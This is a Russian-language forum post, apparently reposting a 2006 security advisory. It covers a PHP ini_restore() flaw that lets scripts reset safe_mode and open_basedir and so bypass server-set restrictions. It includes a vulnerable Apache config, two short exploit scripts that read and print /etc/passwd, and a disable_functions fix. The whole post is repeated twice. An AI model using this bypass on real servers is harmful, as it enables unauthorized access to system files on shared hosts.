corsp_puttrider
21.10.2006, 16:06
надеюсь это уже все знают:
PHP 4.4.4 и более ранние версии
PHP 5.1.6 и более ранние версии
Уязвимость позволяет получить доступ к важным данным на системе. Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках сервера, а в файле php.ini находятся значения по умолчанию, можно восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле сервера.
Пример уязвимой конфигурации:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
Эксплоит
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
PS:
Вместо инклуд в эксплойте можно использовать fopen:
<?
echo("<pre>");
ini_restore("open_basedir");
$filename="/etc/passwd";
$h=fopen($filename, "r");
$contents=fread($h, filesize($filename));
echo($contents);
echo("OK");
?>
вот так
дырку можно закрыть так
disable_functions = symlink,ini_restore
Основная информация о дырке и эксплойте сдесь:
ht_tp://securityreason.com/achievement_securityalert/42
PHP 4.4.4 и более ранние версии
PHP 5.1.6 и более ранние версии
Уязвимость позволяет получить доступ к важным данным на системе. Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках сервера, а в файле php.ini находятся значения по умолчанию, можно восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле сервера.
Пример уязвимой конфигурации:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
Эксплоит
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
PS:
Вместо инклуд в эксплойте можно использовать fopen:
<?
echo("<pre>");
ini_restore("open_basedir");
$filename="/etc/passwd";
$h=fopen($filename, "r");
$contents=fread($h, filesize($filename));
echo($contents);
echo("OK");
?>
вот так
дырку можно закрыть так
disable_functions = symlink,ini_restore
Основная информация о дырке и эксплойте сдесь:
ht_tp://securityreason.com/achievement_securityalert/42